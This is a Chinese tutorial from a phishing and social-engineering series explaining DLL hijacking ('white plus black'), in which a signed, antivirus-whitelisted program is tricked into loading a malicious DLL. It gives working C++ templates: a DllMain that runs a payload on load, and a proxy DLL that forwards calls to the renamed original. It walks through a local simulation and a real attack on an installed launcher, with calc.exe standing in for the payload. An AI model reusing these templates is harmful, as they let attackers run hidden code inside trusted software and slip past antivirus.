钓鱼与社工系列之dll劫持(白加黑)
0x00 知识扫盲
0x00-1 什么是dll?
DLL(Dynamic Link Library),全称动态链接库,是Windows系统上程序正常运行必不可少的功能模块,是实现代码重用的具体形式。简单的说,可以把DLL理解成帮助程序完成各种功能的组件。
0x00-2 DLL劫持漏洞(DLL Hijacking Exploit
严格点说,它是通过一些手段来劫持或者替换正常的DLL,欺骗正常程序加载预先准备好的恶意DLL的一类漏洞的统称。
DLL劫持漏洞之所以被称为漏洞,还要从负责加载DLL的系统API LoadLibrary来看。熟悉Windows代码的同学都知道,调用LoadLibrary时可以使用DLL的相对路径。这时,系统会按照特定的顺序搜索一些目录,以确定DLL的完整路径。根据MSDN文档的约定,在使用相对路径调用LoadLibrary(同样适用于其他同类DLL LoadLibraryEx,ShellExecuteEx等)时,系统会依次从以下6个位置去查找所需要的DLL文件(会根据SafeDllSearchMode配置而稍有不同)。
(参考链接:https://security.tencent.com/index.php/blog/msg/20)
程序所在目录。
加载 DLL 时所在的当前目录。
系统目录即 SYSTEM32 目录。
16位系统目录即 SYSTEM 目录。
Windows目录。
PATH环境变量中列出的目录
0x00-3 白加黑
所谓的”白加黑”,笼统来说是”白exe”加”黑dll”,”白exe”是指带有数字签名的正常exe文件,那么”黑dll”当然是指包含恶意代码 的dll文件。病毒借助那些带数字签名且在杀毒软件白名单内的exe程序去加载自己带有恶意代码的dll,便能获得杀毒软件主动防御的自动信任,从而成功 加载到系统中。
0x01 编译介绍
Release的exe文件链接的是标准的MFC DLL(Use MFC in a shared or static dll)。这些DLL在安装Windows的时候已经配置,所以这些程序能够在没有安装Visual C++的机器上运行。而Debug版本的exe链接了调试版本的MFC DLL文件,在没有安装Visual C++的机器上不能运行,因为缺相应的DLL,除非选择use static dll when link。
静态编译:debug状态下:MTd release状态下:MT
动态编译:debug状态下:MDd release状态下:MD
动态编译的生成的可执行文件的exe小,但是运行需要系统环境具有相关的dll和lib文件,就是动态调用系统相关的文件才能运行;
静态编译生成的可执行文件exe大,但是运行的时候不依赖于系统环境所依赖的dll和lib等环境问题,在编译的时候已经这些dll相关文件编译进了exe文件,所以exe文件较大。所以需要自己创建的工程需要在别的电脑上运行,考虑到稳定性,同时对执行文件的大小没有要求的话还是尽量选择静态编译。
所以综上所述,我们选择静态编译,Release!
0x02 编写一个dll文件
创建dll项目
#include <Windows.h>
// 这是导出变量的一个示例
extern "C" _declspec(dllexport) void __cdecl test(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine,int nCmdShow)
{
MessageBox(NULL,L"_Title_",L"Hello",MB_OK);
return;
}
0x03 两种劫持方法
0x03-1 第一种dll劫持场景:劫持程序运行时加载的未知dll文件
某个exe程序运行的时候,使用ProcessMonitor监听
1. result为NAME NOT FOUND,即找不到dll文件(dll文件名为A.dll)。
2. 该dll文件调用了LoadLibrary函数
3. 自己编写dll,重命名A.dll。
4. 重复之前的程序运行过程,就可以劫持
DllMain里的代码是程序加载dll文件时,可以选择
1.进程装载DLL。
2.进程卸载DLL。
3.DLL在被装载之后创建了新线程。
4.DLL在被装载之后一个线程被终止了
这四种情况下执行恶意代码,
测试dll文件是否可用性,可以执行rundll32 DllMain.dll aaaaaa(随便加函数名) 调用
一般选择DLL_PROCESS_ATTACH,则进程加载DLL时就会执行恶意代码
劫持dll的代码模板
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include <Windows.h>
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec("calc.exe", SW_HIDE); //我们要攻击的恶意代码
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
0x03-2 第二种dll劫持场景:劫持**某个功能(例如截图)所调用的dll文件
某个exe程序运行的时候,监控某个功能(例如截图)所调用的dll文件
1. 使用CFFExplorer工具查看该dll文件(dll文件名为B),导入目录里的kerbel32.dll里是否调用了LoadLibrary。
2. 如果调用了LoadLibrary,则在导出目录找导出的函数名(函数名为C)
3. 自己编写dll,重命名为B.dll,将原先的B.dll重命名为B_origin.dll。B.dll代码里用LoadLibrary调用B_origin.dll
4. 运行该程序的某个功能,即可劫持
代码demo
extern导出函数的代码可以用rundll32 dllExtern.dll test(函数名) 调用
extern “C” extern “C”使得在C++中使用C编译方式成为可能。在“C++”下定义“C”函数,需要加extern “C”关键词。用extern “C”来指明该函数使用C编译方式。输出的“C”函数可以从“C”代码里调用
__declspec(dllexport)的作用就是让编译器按照某种预定的方式(前面大致解释了这种方式的规则)来输出导出函数及变量的符号
#include <Windows.h>
// 这是导出变量的一个示例
extern "C" _declspec(dllexport) void __cdecl test(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine,int nCmdShow)
{
WinExec("calc.exe", SW_HIDE);
return;
}
劫持dll的代码模板
假设程序加载的dll名字为B,B.dll的导出函数为C
劫持的dll名字改为B
B.dll改为B_Origin.dll
PrScrn改为C
PrScrn_Origial.dll改为B_Origin.dll
#include <Windows.h>
extern "C" __declspec(dllexport) void PrScrn();
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec("calc.exe", SW_HIDE); //我们要攻击的恶意代码
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
void PrScrn()
{
MessageBox(NULL, L"DLL Hijack! by DLLHijacker!", L":)", 0); //我们要攻击的恶意代码
HINSTANCE hDllInst = LoadLibrary(L"PrScrn_Origial.dll");
if (hDllInst)
{
typedef DWORD(WINAPI *EXPFUNC)();
EXPFUNC exportFunc = NULL;
exportFunc = (EXPFUNC)GetProcAddress(hDllInst, "PrScrn");
if (exportFunc)
{
exportFunc();
}
FreeLibrary(hDllInst);
}
return;
}
0x04 本地dll劫持场景模拟
模拟一个exe程序调用dll文件,然后用自己的dll去劫持
0x04-1 创建dll项目,项目名为aaa
源.cpp
#include <Windows.h>
// 这是导出变量的一个示例
extern "C" _declspec(dllexport) void __cdecl test(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine,int nCmdShow)
{
MessageBox(NULL, TEXT("我是程序运行时正常加载的dll"), TEXT("hello"), NULL);
return;
}
0x04-2 创建一个MFC程序,模拟一个正常的exe去加载dll
一直下一步直到完成
从工具箱里托一个按钮
双击按钮,在OnBnClickedButton1函数里添加代码
void CMFC_aaaDlg::OnBnClickedButton1()
{
// TODO: 在此添加控件通知处理程序代码
typedef DWORD (*TEST)();
HINSTANCE hLibrary;
hLibrary = LoadLibrary(TEXT("aaa.dll")); // 使用LoadLibrary加载dll
TEST test = (TEST)GetProcAddress(hLibrary, "test"); // 获取dll文件的函数地址
test(); // 运行函数
}
编译即可。将aaa.dll文件拖到MFC_aaa.exe当前目录下
运行MFC_aaa.exe,点击Button1,成功加载aaa.dll文件
0x04-3 模拟劫持未知的dll文件
当MFC_aaa.exe程序运行的时候,会加载aaa.dll文件。那么当我们用ProcessMonitor去检测,发现aaa.dll文件不存在,并且还调用了LoadLibrary。那么此时就可以劫持。
环境开始模拟:MFC_aaa.exe当前目录下没有任何dll文件
使用ProcessMonitor监听
运行MFC_aaa.exe,点击button1发现程序加载aaa.dll文件,从当前目录开始查找,但是结果都是没有找到。
引出一个知识,dll查找路径
1.程序所在目录。
2.加载 DLL 时所在的当前目录。
3.系统目录即 SYSTEM32 目录。
4.16位系统目录即 SYSTEM 目录。
5.Windows目录。
6.PATH环境变量中列出的目录
查看aaa.dll的Stack,发现程序是通过LoadLibrary加载的aaa.dll,那么这种情况下就可以做劫持了。
开始编写劫持代码,使用DllMain进行劫持,如果劫持成功,就会弹出计算机。
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include <Windows.h>
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec("calc.exe", SW_HIDE); //我们要攻击的恶意代码
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
将编译好的dllInject1.dll重命名为aaa.dll,并放到MFC_aaa.exe同目录下,运行MFC_aaa.exe。
成功劫持了MFC_aaa.exe运行时加载的dll文件
0x04-4 模拟劫持存在的dll文件
MFC_aaa.exe当前程序目录下面存在aaa.dll文件
运行MFC_aaa.exe
使用CFFExplorer查看aaa.dll文件
开始编写劫持代码,使用extern进行劫持,如果劫持成功,就会弹出计算机,并且弹框“DLL Hijack! by DLLHijacker!”
#include <Windows.h>
extern "C" __declspec(dllexport) void test();
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec("calc.exe", SW_HIDE); //我们要攻击的恶意代码
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
void test()
{
MessageBox(NULL, L"DLL Hijack! by DLLHijacker!", L":)", 0); //我们要攻击的恶意代码
HINSTANCE hDllInst = LoadLibrary(L"aaa_Origial.dll");
if (hDllInst)
{
typedef DWORD(WINAPI *EXPFUNC)();
EXPFUNC exportFunc = NULL;
exportFunc = (EXPFUNC)GetProcAddress(hDllInst, "test");
if (exportFunc)
{
exportFunc();
}
FreeLibrary(hDllInst);
}
return;
}
将编译好的文件放到MFC_aaa.exe同目录下,并且重命名为aaa.dll。原先的aaa.dll重命名为aaa_Origial.dll。
运行后成功劫持,弹出计算机和弹框
0x05 实战dll劫持
案例一:音速启动安装时的dll劫持
监控音速启动调用的dll
其中一个不存在的dll调用了LoadLibrary
编写劫持dll
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include <Windows.h>
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec("calc.exe", SW_HIDE); //我们要攻击的恶意代码
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
将dll重命名为Riched20.dll,并放到音速启动程序的同目录下
重新运行程序,成功弹出计算机
存在LoadLibraryExW的dll文件的导出目录如果是多个函数,每个函数都可以劫持!